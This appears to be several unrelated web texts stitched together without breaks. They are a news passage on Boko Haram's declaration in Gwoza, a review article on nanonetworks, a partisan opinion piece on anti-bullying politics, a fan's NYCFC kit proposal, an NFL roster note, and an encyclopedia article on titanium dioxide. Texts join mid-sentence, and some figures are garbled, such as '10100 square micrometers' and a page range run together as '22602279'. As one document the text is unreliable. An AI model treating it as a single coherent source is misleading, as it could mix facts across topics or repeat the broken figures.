It is near Gwoza, the largest town under control of Boko Haram. In the most recent census, in 2006, it had a population of more than 265,000 people.
In the 52-minute video released on Sunday, Boko Haram leader Abubakar Shekau said Gwoza was now "part of the Islamic state".
He did not specify whether his group now had any links to the Islamic State (IS) group, which has seized much of northern Iraq in recent months, prompting the US to respond with air strikes.
There is no evidence for such links but in July, Mr Shekau congratulated IS on its territorial gains.
Image copyright AFP
Who are Boko Haram?
Founded in 2002
Initially focused on opposing Western education - Boko Haram means "Western education is forbidden" in the Hausa language
Launched military operations in 2009 to create an Islamic state
Thousands killed, mostly in north-eastern Nigeria - but also attacks on police and UN headquarters in capital, Abuja
Some three million people affected
Declared terrorist group by US in 2013
Who are Boko Haram?
Profile: Boko Haram leader Abubakar Shekau
Boko Haram controls several areas, mostly in Borno state where the group was launched, but also in neighbouring Yobe state.
Nigeria's military spokesman Chris Olukolade responded with a statement dismissing the declaration of an Islamic state as "empty".
The video also shows about 20 men in civilian clothes apparently being shot dead.
The BBC's Nathalie Wakam in Cameroon says the situation is worrying for the country's officials, who have called on the international community to help them tackle the threat from Boko Haram.
China, France, the US and UK all sent some military assistance - advisors and help with intelligence - to Nigeria after some 200 schoolgirls were seized from Chibok, near Gwoza, in April.Review articles Nanonetworks: A New Frontier in Communications
Credit: Giacomo Marchesi
In 1959, the Nobel laureate physicist Richard Feynman, in his famous speech entitled "There's Plenty of Room at the Bottom," described for the first time how the manipulation of individual atoms and molecules would give rise to more functional and powerful man-made devices. In his vision, he talked about having a billion tiny factories able to manufacture fully functional atomically precise nano-devices. During the same talk, he noted that several scaling issues would arise when reaching the nanoscale, which would require the engineering community to totally rethink the way in which nano-devices and nano-components are conceived.
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More than a half-century later, current technological trends, which are still mainly based on the miniaturization of existing manufacturing techniques, are facing these predicted limitations. Consequently, there is a need to rethink and redesign the way in which components and devices are created by taking into account the new properties of the nanoscale. Moreover, a whole new range of applications can be enabled by the development of devices able to benefit from these nanoscale phenomena from the very beginning. These are the tasks at the core of the nanotechnology.
The term nanotechnology was first defined in a work dated from 197415 as follows: "Nanotechnology mainly consists of the processing of, separation, consolidation, and deformation of materials by one atom or by one molecule." Later, in the 1980s, the basic concept of this definition was explored in much more depth by K. Eric Drexler,3 who took Feynman's vision about creating nano-devices by using tiny factories, and added the idea that they could replicate themselves via computer control instead. For more than 10 years, Drexler received numerous accusations of promoting science fiction. However, as the first simple structures on a molecular scale were obtained, the activities surrounding nanotechnology began to slowly increase and this term became more socially accepted. It was in the early 2000s when the major advancements in the field ramped up.
Among the different aims of nanotechnology, we focus on the development of nanomachines, that is, integrated functional devices consisting of nanoscale components and which are able to perform simple tasks at the nano-level. Going one step ahead, we propose the interconnection of nano-machines in a network or nanonetwork as the way to overcome the limitations of individual nano-devices.1,2 The potential applications of the resulting nanonetworks are almost unlimited and can be classified in four main areas: Biomedical Applications (for example, intrabody health monitoring and drug delivery systems, immune system support mechanisms, and artificial bio-hybrid implants); Industrial and Consumer Goods Applications (for example, development of intelligent functionalized materials and fabrics, new manufacturing processes and distributed quality control procedures, food and water quality control systems); Environmental Applications (biological and chemical nanosensor networks for pollution control, biodegradation assistance, and animal and biodiversity control); and Military Applications (nuclear, biological and chemical defenses and nano-functionalized equipment).
Several communication paradigms can be used in nanonetworks depending on the technology used to manufacture the nanomachines and the targeted application. In this article, we provide an overview of the two main alternatives for nanocommunication, that is, Electromagnetic Communications in the Terahertz Band and Molecular Communications. Our aim is to provide a better understanding of the current research issues in this truly interdisciplinary and emerging field, and to pave the way of future research in nanonetworks. We also review the state of the art in the design and manufacturing of nanomachines, discuss the different alternatives for communication in the nanoscale, and describe the research challenges in the design of protocols for nanonet-works. While there is still a long way to go before a fully functional nano-machine is realized, we believe hardware-oriented research and communication-focused investigations will benefit from being conducted in parallel from an early stage.
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Manufacturing Nanomachines
Nanonetworks start at the interconnection of several nanomachines. The capabilities and the application range of these nanomachines strongly depend on the way in which they are manufactured. As shown in the accompanying figure, different approaches can be used for their development, ranging from the use of man-made components to the reuse of biological entities found in nature. These approaches are classified into three main branches, namely, top-down, bottom up and bio-hybrid.1 In the top-down approach, nanomachines are developed by means of downscaling current microelectronic and micro-electro-mechanical technologies without atomic level control. In the bottom-up approach, the design of nano-machines is realized from the (self) assembly of molecular components and synthesized nanomaterials. Alternatively, in a bio-hybrid approach, existing biological components, such as Deoxyribonucleic Acid or DNA strands, antibodies or molecular motors, are combined with man-made nano-structures to develop new nanomachines.
Man-made machines. Despite several technological and physical limitations, the evolution of classical lithography techniques and other non-standard manufacturing procedures have been used to fabricate components with at least one of their dimensions in a scale below 100nm.16 A special emphasis should be given to the study of nanomaterials and new manufacturing processes, which are enabling a new direction for the development of nano-components. As an example, field-effect transistors can be obtained through the use of graphene nanoribbons and carbon nanotubes, and these can be used as the building block for new computing machines.14 Other well-studied nano-components are nanomaterials-based biological, chemical, and physical nanosensors and nanoactuators. The integration of several of these nano-components into a single functional unit will result in a device with a total size in between 10100 square micrometers,2 which is comparable to the size of an average human cell. However, the integration of these components into a single device is still one of the major challenges in the manufacturing of nanomachines.
Adopting components coming from nature. The nanoscale is the natural domain of molecules, proteins, DNA, organelles and the major components of cells. Some of these nano-components can be used as building blocks for integrated nano-devices. As an example, Adenosine TriPhosphate or ATP batteries emulating the behavior of mitochondria, often described as "cellular power plants," can be an alternative energy source for bio-nano-devices. In addition, information encoded in DNA can be used for molecular computing machines and molecular memories. Alternatively, DNA strands can also be used to build miniature circuit boards and to stimulate the self-assembly of components such as carbon nanotubes, nanowires, nanoribbons and nanoparticles, by means of DNA scaffolding.9 While still being one step behind nanomaterial-based component manufacturing, we believe that being able to directly reuse biological structures found in living organisms or to reengineer them will be especially useful in biomedical applications, as well as the enabling technology for bio-inspired communications.
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Enabling Communication Among Nanomachines
Nanocommunication is the exchange of information at the nanoscale and it is at the basis of any wired/wireless interconnection of nanomachines in a nanonetwork. The way in which the nanomachines can communicate depends strongly on the way they are realized. Moreover, the particular application for which the nanonetworks will be deployed constrains the choice on the particular type of nanocommunication. For the time being, several alternatives have been proposed. These range from downscaling well-established communication means based on electromagnetic, optical, acoustic, or mechanical communication, up to defining completely new paradigms inspired by biology.
Downscaling existing communication paradigms. The tools provided by nanotechnology are enabling the extension of well-known communication techniques to the nanoscale. First of all, carbon nanotubes and graphene nanoribbons have been proposed for electromagnetic nano-antennas.6 A graphene-based nano-antenna is not just a mere reduction of a classical antenna, but there are several quantum phenomena that affect the propagation of electromagnetic waves on graphene. As a result, the resonant frequency of these nanostructures can be up to two orders of magnitude below that of their non-carbon-based counterparts. However, their radiation efficiency can also be impaired because of this phenomenon. Second, carbon nanotubes have also been proposed as the basis of an electromechanical nano-transceiver or nano-radio,5 able to modulate and demodulate an electromagnetic wave by means of mechanical resonation. This technique has been experimentally proved in reception, but would require very high nanoscale power sources for active transmission.
Terahertz Band: Ultra-broadband communications in nanonetworks. Focusing on the use of graphene-based nano-antennas and thinking of the expected maximum size of a nanomachine, the Terahertz Band (0.1THz-10THz) enters the game. Indeed, we have recently shown that a one-micrometer-long graphene-based nano-antenna would expectedly resonate in the aforementioned band.6 This very high-frequency range, in between the microwaves and the far-infrared radiation, has recently caught the attention of the scientific community because of its applications in security screening and nanoscale imaging systems. In our case, we think of the Terahertz Band as a very large transmission window that can support very high transmission rates in the short range, that is, up to a few Terabits per second for distances below one meter, or as several transmission windows more than 10 gigahertz-wide each as we've recently shown.7 For the time being, it is not clear how nanomachines with limited capabilities can exploit the properties of this huge band, but several options come to mind. For example, we have recently proposed the use of very low energy femtosecond-long pulses as a simple but robust communication paradigm for nanomaterial-based nanomachines.8 Moreover, having a very large available bandwidth introduces major changes in classical networking protocols, as we describe here.
Learning from biology: Molecular communication. Cells and many living organisms exchange information by means of molecular communication, that is, they use molecules to encode, transmit and receive information. Among others, one of the most widespread molecular communication mechanisms is based on the free diffusion of molecules in the space. For example, communication between neighboring cells in the human body is conducted by means of diffusion of different types of molecules, which encode different types of messages. To date, research has been carried out to study the propagation of molecular messages by means of free diffusion. Among others, in Pierobon and Akyildiz,7 we analyzed the behavior of the molecular diffusion channel in terms of attenuation and delay. In the same paper, we provide mathematical models of the physical processes occurring at the molecular transmission, propagation and reception. The results of this work are in two different directions. First, they provide a numerical evaluation of the communication capabilities of the physical channel. Attenuation values of tens of dB for a transmission range up to 50 micrometers and a frequency up to 400Hz (but hundreds of dB when the frequency approaches 1kHz) have been obtained with a delay of more than 100ms. Second, the results define reliable and simple models, which can be used off the shelf in the design of molecular communication systems based on the free diffusion of molecules. We expanded our understanding of the molecular diffusion channel by analyzing the most relevant diffusion-based noise sources, whose origins are intrinsically different than for noise sources in EM communication.13 Theoretical limits on the information capacity of a diffusion-based molecular communication system are studied in Pierobon and Akyildiz.12 We show that the order of magnitude of the capacity for a molecular communication system is extremely higher than the capacity of classical communication systems. These results confirm the growing interest around molecular communication for nanonetworks shown by the research community in the last couple years.
Alternatively, in Parcerisa and Akyildiz,10 we proposed the use of pheromones for molecular communication in long-range nanonetworks, such as, for transmission distances approximately one meter. Pheromones are molecules of chemical compounds released by plants, insects, and other animals that trigger specific behaviors among the receptor members of the same species and whose propagation relies also on the molecular diffusion process. In the same paper, we present other molecular communication techniques, such as neuron-based communication and capillaries flow circuits. The former refers to the possibility of building a communication system directly inspired by the nerve fibers that transport muscle movements, external sensorial stimuli, and neural communication signals to and from the brain. The latter are inspired by the capillaries, which are the smallest blood vessels inside the human body. Capillaries connect arterioles and venules and their main function is to interchange chemicals and nutrients between the blood and the surrounding tissues. The feasibility and practicality of these systems still needs to be investigated, but they can serve as a starting point for future bio-inspired nanocommunication systems.
Last but not least, we proposed and studied in Gregori and Akyildiz4 a molecule transport technique using two different types of carrier entities, namely, flagellated bacteria and catalytic nanomotors. On the one hand, the flagellated bacteria are able to carry DNA messages introduced inside their cytoplasm. When set free in the environment, the carrier bacteria are headed to the receiver, which is continuously releasing bacteria attractant particles. Upon contact with the receiver, the bacteria release the DNA message to the destination. On the other hand, the catalytic nanomotors are defined as particles that are able to propel themselves and small objects. Nanomotors can be loaded with DNA molecules and their propagation can be guided using preestablished magnetic paths from the emitter to the receiver. Nanomotors can also compose a raft and transport the DNA message through a chemotactic process. The propagation of information by means of guided bacteria or catalytic nanomotors is relatively very slow (in the order of a few millimeters per hour), but the amount of information that can be transmitted in a single DNA strand makes the achievable information rate relatively high (up to several kilobits per second). All these results require us to rethink well-established concepts in communication and network theory.
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Developing Nanonetworking Protocols
Nanonetworks are systems composed by interconnected nanomachines that communicate by following specific protocols. These protocols must address various issues not only common to conventional networks, but also arising from the peculiarities of the different nanocommunication options. For this, several features required in any communication network, such as Medium Access Control (MAC) mechanisms, addressing schemes, or information routing techniques, must be designed in light of the properties of the aforementioned nanocommunication paradigms
While there is still a long way to go before a fully functional nanomachine is realized, we believe hardware-oriented research and communication-focused investigations will benefit from being conducted in parallel from an early stage.
Terahertz nanonetworks. The Terahertz Band provides a very large transmission bandwidth. On the one hand, this can be used to support very highspeed communication among nano-devices. On the other hand, a very large bandwidth enables new channel access techniques, which can ease the tasks of the MAC protocol. For example, when using femtosecond-long pulses for communication among nano-devices,2 the chances of having a collision between different nanomachines' transmissions are almost nonexistent. As a result, very simple MAC protocols can be used. For instance, nanomachines can just transmit whenever they have some information ready and then they just wait for an acknowledgment. New ways to verify the integrity of the message that has been transmitted and to accordingly inform the transmitter will be necessary. In addition, in light of the capabilities of nanomachines, new coding schemes and error correction mechanisms will have to be developed. When it comes to addressing and routing, it will also be the capabilities of nanomachines what will determine what is possible and what is not. For example, it seems unfeasible to assign a unique ID to every component of a nanonetwork. Alternatively, by exploiting again the nature of pulse-based communications, we think that nanomachines will have a notion of the distances among them, which can be used for addressing and routing purposes. At the same time, in our vision, we believe that in some applications it will not be necessary to uniquely identify every nanomachine, but it will be enough by just classifying the nanomachines according to their internal status, for example, the sensing readings.
Molecular nanonetworks. Molecular nanonetworks require the development of new networking protocols suited for the nature of this new paradigm. In our vision, the study of the molecular network protocols will follow a twofold approach: on the one hand, network structures and protocols will be directly inspired from the observation of communication and signaling processes from nature (biologically inspired molecular networks); on the other hand, classical networking paradigms will be adapted for their use with synthesized molecular nanonetworks. In both of the two cases, these protocols will have to take into account the delay in the propagation of molecular information, which is considerably high if compared to electromagnetic communications. The study of a MAC protocol should also take into account the effects of the interaction of multiple molecular transmitters in the same environment. The performance of the molecular communication system in terms of attenuation and delay will likely vary due to the interactions physically occurring between molecules emitted by different transmitters, such as collisions or electrical and chemical reactions. Therefore, a MAC protocol will be required to minimize the interference between different emitters and to maximize the overall throughput of the network. Moreover, routing and addressing aspects will be required to enable communication between multiple source and destination points. In our vision, any form of addressing will be likely embedded within the structure of the molecules that compose the information message, such as their type or even electrical charge. Molecular protocols will also be studied in relation to the particular adopted molecular communication technique. As an example, when pheromones are used as information carriers, routing protocols will have to take into account the fact that their propagation in the air medium is highly dependent on the direction of the wind flow. Particular geographical routing algorithms could exploit the knowledge of the current and future direction of the wind to achieve a direction-based addressing. Another example is given by the flagellated bacteria communication, where addressing can be achieved by engineering bacteria able to sense only some types of attractants which are released only by the targeted receivers.
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Conclusion
Nanonetworks will have a great impact in almost every field of our society ranging from health care to homeland security and environmental protection. In order to enable the communication among nanomachines, it is necessary to rethink existing communication paradigms and to define new communication alternatives stemming from the nature of the nanoscale. While the hardware underlying nanonetworks is still being developed, the engineering of new computing and data storage architectures for nanoscale devices, the definition of new information encoding and modulation for nanomachines using different nanocommunication paradigms, and the development of-nanonetworking structures and protocols are necessary contributions expected from the ICT field.
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Acknowledgment
This work was supported by the U.S. National Science Foundation (NSF) under Grant No. CNS-1110947 and Fundación Caja Madrid.
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References 1. Akyildiz, I., Brunetti, F. and Blazquez, C. Nanonetworks: A new communication paradigm. Computer Networks Journal 52, 12, (Aug. 2008), Elsevier, 22602279. 2. Akyildiz, I.F. and Jornet, J.M. Electromagnetic wireless nanosensor networks. Nano Communication Networks Journal 1, 1 (Mar. 2010), Elsevier, 319. |
opposed to this basic bit of anti-bullying legislation that they ended up spewing a shocking number of lies about being transgender, including falsely claiming that kids switch their genders willy-nilly and that transgender students are not targeted for bullying. In the real world, bullying of transgender students is a serious problem, and giving them the privacy and dignity that cisgender students get can go a long way toward preventing bullying from getting out of hand.
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4) Fighting so that women can’t even go into abortion clinics without being bullied all the way into the door. The abortion buffer zone dispute that went in front of the Supreme Court is not, as proponents say, about free speech. No one is denying the right of anti-choicers to protest clinics or make themselves available to patients who want to speak to them. In fact, no one is saying they can’t inflict themselves on patients by yelling at them or waving signs at them. The only question is whether or not patients are entitled to 7 whole seconds of walking where they are free of being directly bullied by anti-choicers who want to get in their face to yell invective.
Right now, giving clinics a 35-foot buffer zone allows anti-choice protesters to speak freely while also giving patients a right to ignore them if they want, at least for 7 seconds. But for Christian conservatives, the right to free speech is not enough. They want the right to bully and shame women, and they don’t think women should be able to decline to be targets of their abuse.
5) Denying the link between bullying and suicide. Most victims of bullying don’t suffer severe mental health effects from it, but being bullied does correlate with a higher risk of suicide. Nonetheless, Kelly McBride of the Poynter Institute wrote a piece broadly denying the link between suicide and bullying and pretending that anti-bullying advocates were trumping up the claim in order to terrorize innocent kids accused of bullying. She wasn’t wrong to say some journalists and prosecutors get overzealous in their attacks on perceived bullies, but her attempts to minimize the problem went way too far in the other direction. Unsurprisingly, right-wing media went nuts, with Rush Limbaugh using McBride’s piece to insinuate that anti-bullying campaigns are full of crap.
6) Arguing that bullying can’t be considered a real problem unless it’s on the rise. Anti-bullying activism did not arise because of a perception that bullying was on the rise. It was a combination of heightened attention to the struggles of LGBT youth and the fact that cyberbullying was leaving a trail of evidence that made the problem harder to ignore than in the past. Despite this, a common swipe conservatives take to discredit anti-bullying campaigns is to say that since bullying isn’t on the rise, it shouldn’t be considered a real problem.
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From the Daily Caller to McBride’s piece to pundits on Fox News, conservatives dismiss anti-bullying efforts by saying bullying is not on the rise. But problems don’t need to be on the rise in order to count as problems. For instance, smoking rates were already declining when the anti-smoking campaigns went into high gear, but no one thought that meant smoking wasn’t a real problem.
7) Plain, unvarnished praise of bullying as a rite of passage. The escalating hostility toward anti-bullying campaigns reached a new peak when Fox News host Anna Kooiman sneered at anti-bullying campaigns generally. “But people are asking, is this going too far because it includes teasing, social exclusion, intimidation, and those are things that are almost a rite of passage sometimes for kids.”
Needless to say, there is zero evidence that being excluded and intimidated has positive psychological effects for kids. Bullied children suffer many possible negative effects, including higher rates of depression, declining grades in school and even health problems. (You’ll be hard-pressed to find that a bullied child grows into an adult who was grateful for the experience.) Even being a bully is correlated with long-term negative effects, such as alcohol abuse, fighting and other high-risk behavior.
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It was inevitable that, as anti-bullying efforts rose, conservatives would start finding angles to complain and criticize and demagogue. After all, the automatic hostility to anything perceived as “liberal” has grown so out of control that even Michelle Obama’s non-offensive campaign to improve people’s eating habits has become a sore spot for conservatives. But this tendency to side with the bullies and against their victims may speak to something deeper in right-wing ideology, such as a desire for conformity and a willingness to use force and shame to impose it. Because of this, it’s likely that anti-anti-bullying messages will probably rise and continue to shade into outright support for bullies.New York City Football Club
Identity & Kit Proposal
On May 22nd, 2013 it was announced that a new club, the New York City Football Club, would become the MLS's 20th franchise. The franchise rights were purchased in collaboration by the Manchester City Football Club (MCFC) and the New York Yankees. As a designer and lifelong football fan, I took this unique opportunity and developed a new identity & kit proposal for NYCFC. This page showcases my efforts & process.
Disclaimer: I have no affiliation with the New York City Football Club, Manchester City Football Club, or the New York Yankees. All logos on this page are copyright their respective owners.
Project Description
Create an identity/kit package for NYCFC that pays homage to Manchester City FC and the New York Yankees, while still being usable as a standalone club entity.
Design Language
Bold
Geometric
Urban
Historic
Club Badge
Football badges have a unique style that tends to be quite different than your typical American sports logo. Football badges are subtle in their message drawing upon tradition and symbolism whereas American sports logos are more in-your-face and mascot centric. As the MLS grows into a more competitive and respected league worldwide, it is important that the member clubs utilize a design language that speaks to the international football community. The NYCFC badge should stand out and be instantly recognizable, but also not look out of place when put beside the biggest international clubs like Bayern Munich, Barcelona, Juventus, and, of course, Manchester City.
Key Concepts Prominently feature ‘NY’ or ‘NYC’ type as these are recognizable symbols for New York (see: Yankees)
Incorporate MCFC club colors
Incorporate the number 5 as a symbol of the number of New York boroughs
Draw inspiration from traditional football badge shapes and styling
DON'T use cliché New York imagery like the Statue of Liberty and Empire State Building
use cliché New York imagery like the Statue of Liberty and Empire State Building DON'T use the full name 'New York City FC'
Player Kits
Historic MCFC kits were taken into consideration when designing the new NYCFC kits and loose inspiration is drawn from this heritage. The iconic sky blue color carries through to the NYCFC color palette. The MLS has a league-wide kit sponsorship deal with Adidas and, as such, the proposed NYCFC player kits are by Adidas. Manchester City's current kit sponsor, Etihad Airways, is carried over to the NYCFC kits here.
Key Concepts Make use of MCFC's sky blue color
Draw inspiration from past MCFC kits
Use bold, yet simple shapes and patterns
DON'T use red or navy blue as they are used by league/city rivals, the New York Red Bulls
A. Primary Kit Classic sky blue color with black & white accents
Subtle v-shaped 5 stripe pattern that mirrors club badge
'Superbia In Proelio' slogan embroidered at rear collar
Clean crew neck collar
B. Secondary Kit Stealthy charcoal color with black, yellow, and sky blue accents
Subtle v-shaped 5 stripe pattern that mirrors club badge
'Superbia In Proelio' slogan embroidered at rear collar
Clean crew neck collar
C. Third Kit Eye-catching yellow color with black accents
Sash design throwback to 1973
'Superbia In Proelio' slogan embroidered at rear collar
Queens crown embroidered jock tag
Classy streamlined polo collar
D. Goalkeeper Kit Contrasting orange color with black accents
Solid design to avoid visual distraction
'Superbia In Proelio' slogan embroidered at rear collar
Clean crew neck collar
Number Set
Although the MLS uses a standard number and player font set for all of their club kits, a special NYCFC number set was developed for use when the club plays outside of normal league competition.
About the designer Mike Retrum is a 29 year-old designer/developer and lifelong soccer fan currently living in California. Contact him here.
©2013 Michael P Retrum. All other logos and media copyright their respective owners.I saw it first from Brian T. Smith:
I know, I know. What are you going to do with that Evan Frierson Texans jersey now? It's already obsolete!
Frierson, one of the 23 undrafted free agents signed by the Texans after the 2013 NFL Draft, was an inside linebacker who spent the 2013 season on injured reserve.
Hazel, a 6'5"/227 lb. linebacker out of Western Michigan, spent the 2013 season with the Cleveland Browns, appearing in 13 games and accounting for three (3) tackles. He was born on May 4, 1990; on that day, this was the No. 1 song on the Billboard charts in the United States:
So, special teams? Yes, probably special teams. Best of luck to Evan Frierson as he looks to continue his professional career elsewhere.Titanium dioxide, also known as titanium(IV) oxide or titania, is the naturally occurring oxide of titanium, chemical formula TiO
2. When used as a pigment, it is called titanium white, Pigment White 6 (PW6), or CI 77891. Generally, it is sourced from ilmenite, rutile and anatase. It has a wide range of applications, including paint, sunscreen and food coloring. When used as a food coloring, it has E number E171. World production in 2014 exceeded 9 million metric tons.[4][5][6] It has been estimated that titanium dioxide is used in two-thirds of all pigments, and the oxide has been valued at $13.2 billion.[7]
Occurrence [ edit ]
Titanium dioxide occurs in nature as the well-known minerals rutile, anatase and brookite, and additionally as two high pressure forms, a monoclinic baddeleyite-like form and an orthorhombic α-PbO 2 -like form, both found recently at the Ries crater in Bavaria. One of these is known as akaogiite is an extremely rare mineral.[8][9][10] It is mainly sourced from ilmenite ore. This is the most widespread form of titanium dioxide-bearing ore around the world. Rutile is the next most abundant and contains around 98% titanium dioxide in the ore. The metastable anatase and brookite phases convert irreversibly to the equilibrium rutile phase upon heating above temperatures in the range 600–800 °C (1,112–1,472 °F).[11]
Titanium dioxide has eight modifications – in addition to rutile, anatase, and brookite, three metastable phases can be produced synthetically (monoclinic, tetragonal and orthorombic), and five high-pressure forms (α-PbO 2 -like, baddeleyite-like, cotunnite-like, orthorhombic OI, and cubic phases) also exist:[citation needed]
Form Crystal system Synthesis Rutile Tetragonal Anatase Tetragonal Brookite Orthorhombic TiO 2 (B)[12] Monoclinic Hydrolysis of K 2 Ti 4 O 9 followed by heating TiO 2 (H), hollandite-like form[13] Tetragonal Oxidation of the related potassium titanate bronze, K 0.25 TiO 2 TiO 2 (R), ramsdellite-like form[14] Orthorhombic Oxidation of the related lithium titanate bronze Li 0.5 TiO 2 TiO 2 (II)-(α-PbO 2 -like form)[15] Orthorhombic Akaogiite (baddeleyite-like form, 7 coordinated Ti)[16] Monoclinic TiO 2 -OI[17] Orthorhombic Cubic form[18] Cubic P > 40 GPa, T > 1600 °C TiO 2 -OII, cotunnite(PbCl 2 )-like[19] Orthorhombic P > 40 GPa, T > 700 °C
The cotunnite-type phase was claimed by L. Dubrovinsky and co-authors to be the hardest known oxide with the Vickers hardness of 38 GPa and the bulk modulus of 431 GPa (i.e. close to diamond's value of 446 GPa) at atmospheric pressure.[19] However, later studies came to different conclusions with much lower values for both the hardness (7–20 GPa, which makes it softer than common oxides like corundum Al 2 O 3 and rutile TiO 2 )[20] and bulk modulus (~300 GPa).[21][22]
The oxides are commercially important ores of titanium. The metal can also be mined from other minerals such as ilmenite or leucoxene ores, or one of the purest forms, rutile beach sand. Star sapphires and rubies get their asterism from rutile impurities present in them.[23]
Titanium dioxide (B) is found as a mineral in magmatic rocks and hydrothermal veins, as well as weathering rims on perovskite. TiO 2 also forms lamellae in other minerals.[24]
Molten titanium dioxide has a local structure in which each Ti is coordinated to, on average, about 5 oxygen atoms.[25] This is distinct from the crystalline forms in which Ti coordinates to 6 oxygen atoms.
Spectral lines from titanium oxide are prominent in class M stars, which are cool enough to allow molecules of this chemical to form.
2. Structure of anatase. Together with rutile and brookite, one of the three major polymorphs of TiO
Production [ edit ]
Evolution of the global production of titanium dioxide according to process.
The production method depends on the feedstock. The most common mineral source is ilmenite. The abundant Rutile mineral sand can also be purified with the chloride process or other processes. Ilmenite is converted into pigment grade titanium dioxide via either the sulfate process or the chloride process. Both Sulfate and Chloride Processes produce the titanium dioxide pigment in the rutile crystal form, but the Sulfate Process can be adjusted to produce the anatase form. Anatase, being softer, is used in fiber and paper applications. The Sulfate Process is run as a batch process; the Chloride Process is run as a continuous process.[26]
Plants using the Sulfate Process require ilmenite concentrate (45-60% TiO 2 ) or pretreated feedstocks as suitable source of titanium.[27] In the sulfate process Ilmenite is treated with sulfuric acid to extract iron(II) sulfate pentahydrate. The resulting synthetic rutile is further processed according to the specifications of the end user, i.e. pigment grade or otherwise.[28] In another method for the production of synthetic rutile from ilmenite the Becher Process first oxidizes the ilmenite as a means to separate the iron component.
An alternative process, known as the Chloride process converts ilmenite or other titanium sources to Titanium tetrachloride via reaction with elemental chlorine, which is then purified by distillation, and reacted with oxygen to regenerate chlorine and produce the Titanium dioxide. Titanium dioxide pigment can also be produced from higher titanium content feedstocks such as upgraded slag, rutile and leucoxene via a chloride acid process.
The five largest TiO
2 pigment processors are in 2019 Chemours, Cristal Global, Venator-Huntsman, Kronos and Tronox, which is the largest one.[29] [30] Major paint and coating company end users for pigment grade titanium dioxide include Akzo Nobel, PPG Industries, Sherwin Williams, BASF, Kansai Paints and Valspar.[31] Global TiO
2 pigment demand for 2010 was 5.3 Mt with annual growth expected to be about 3-4%.[32]
Specialized methods [ edit ]
For specialty applications, TiO 2 films are prepared by various specialized chemistries.[33] Sol-gel routes involve the hydrolysis of titanium alkoxides, such as titanium ethoxide:
Ti(OEt) 4 + 2 H 2 O → TiO 2 + 4 EtOH
This technology is suited for the preparation of films. A related approach that also relies on molecular precursors involves chemical vapor deposition. In this application, the alkoxide is volatilized and then decomposed on contact with a hot surface:
Ti(OEt) 4 → TiO 2 + 2 Et 2 O
Applications [ edit ]
The most important application areas are paints and varnishes as well as paper and plastics, which account for about 80% of the world's titanium dioxide consumption. Other pigment applications such as printing inks, fibers, rubber, cosmetic products and food account for another 8%. The rest is used in other applications, for instance the production of technical pure titanium, glass and glass ceramics, electrical ceramics, catalysts, electric conductors and chemical intermediates.[34]
Pigment [ edit ]
Titanium dioxide is the most widely used white pigment because of its brightness and very high refractive index, in which it is surpassed only by a few other materials. (see List of indices of refraction.) Titanium dioxide crystal size is ideally around 220 nm (measured by electron microscope) to optimize the maximum reflection of visible light. The optical properties of the finished pigment are highly sensitive to purity. As little as a few parts per million (ppm) of certain metals (Cr, V, Cu, Fe, Nb) can disturb the crystal lattice so much that the effect can be detected in quality control.[35] Approximately 4.6 million tons of pigmentary TiO 2 are used annually worldwide, and this number is expected to increase as utilization continues to rise.[36]
TiO 2 is also an effective opacifier in powder form, where it is employed as a pigment to provide whiteness and opacity to products such as paints, coatings, plastics, papers, inks, foods, medicines (i.e. pills and tablets) as well as most toothpastes. In paint, it is often referred to offhandedly as "brilliant white", "the perfect white", "the whitest white", or other similar terms. Opacity is improved by optimal sizing of the titanium dioxide particles.
Thin films [ edit ]
When deposited as a thin film, its refractive index and colour make it an excellent reflective optical coating for dielectric mirrors; it is also used in generating decorative thin films such as found in "mystic fire topaz".
Some grades of modified titanium based pigments as used in sparkly paints, plastics, finishes and cosmetics - these are man-made pigments whose particles have two or more layers of various oxides – often titanium dioxide, iron oxide or alumina – in order to have glittering, iridescent and or pearlescent effects similar to crushed mica or guanine-based products. In addition to these effects a limited colour change is possible in certain formulations depending on how and at which angle the finished product is illuminated and the thickness of the oxide layer in the pigment particle; one or more colours appear by reflection while the other tones appear due to interference of the transparent titanium dioxide layers.[37] In some products, the layer of titanium dioxide is grown in conjunction with iron oxide by calcination of titanium salts (sulfates, chlorates) around 800 °C[38] One example of a pearlescent pigment is Iriodin, based on mica coated with titanium dioxide or iron (III) oxide.[39]
The iridescent effect in these titanium oxide particles is unlike the opaque effect obtained with usual ground titanium oxide pigment obtained by mining, in which case only a certain diameter of the particle is considered and the effect is due only to scattering.
Sunscreen and UV blocking pigments [ edit ]
In cosmetic and skin care products, titanium dioxide is used as a pigment, sunscreen and a thickener. As a sunscreen is used ultrafine TiO 2, it is notable in that combined with ultrafine zinc oxide, it is considered to be an effective sunscreen that is less harmful to coral reefs than sunscreens that include chemicals such as oxybenzone and octinoxate.
Nanosized titanium dioxide is found in the majority of physical sunscreens because, its strong UV light absorbing capabilities and its resistance to discolouration under ultraviolet light. This advantage enhances its stability and ability to protect the skin from ultraviolet light. Nano-scaled (particle size of 20–40 nm)[40] titanium dioxide particles are primarily used in sunscreen lotion because they scatter visible light much less than titanium dioxide pigments, and can give UV protection.[36] Sunscreens designed for infants or people with sensitive skin are often based on titanium dioxide and/or zinc oxide, as these mineral UV blockers are believed to cause less skin irritation than other UV absorbing chemicals. Nano-TiO 2 blocks both UV-A and UV-B radiation, which is used in sunscreens and other cosmetic products. It safe to use and it is better to environment than organic UV-absorbers.[41]
TiO
2 is used extensively in plastics and other applications as a white pigment or an opacifier and for its UV resistant properties where the powder disperses light – unlike organic UV absorbers – and reduces UV damage, due mostly to the particle's high refractive index.[42]
Other uses of titanium dioxide [ edit ]
In ceramic glazes titanium dioxide acts as an opacifier and seeds crystal formation.
It is used as a tattoo pigment and in styptic pencils. Titanium dioxide is produced in varying particle sizes, oil and water dispersible, and in certain grades for the cosmetic industry.
Research [ edit ]
Photocatalyst [ edit ]
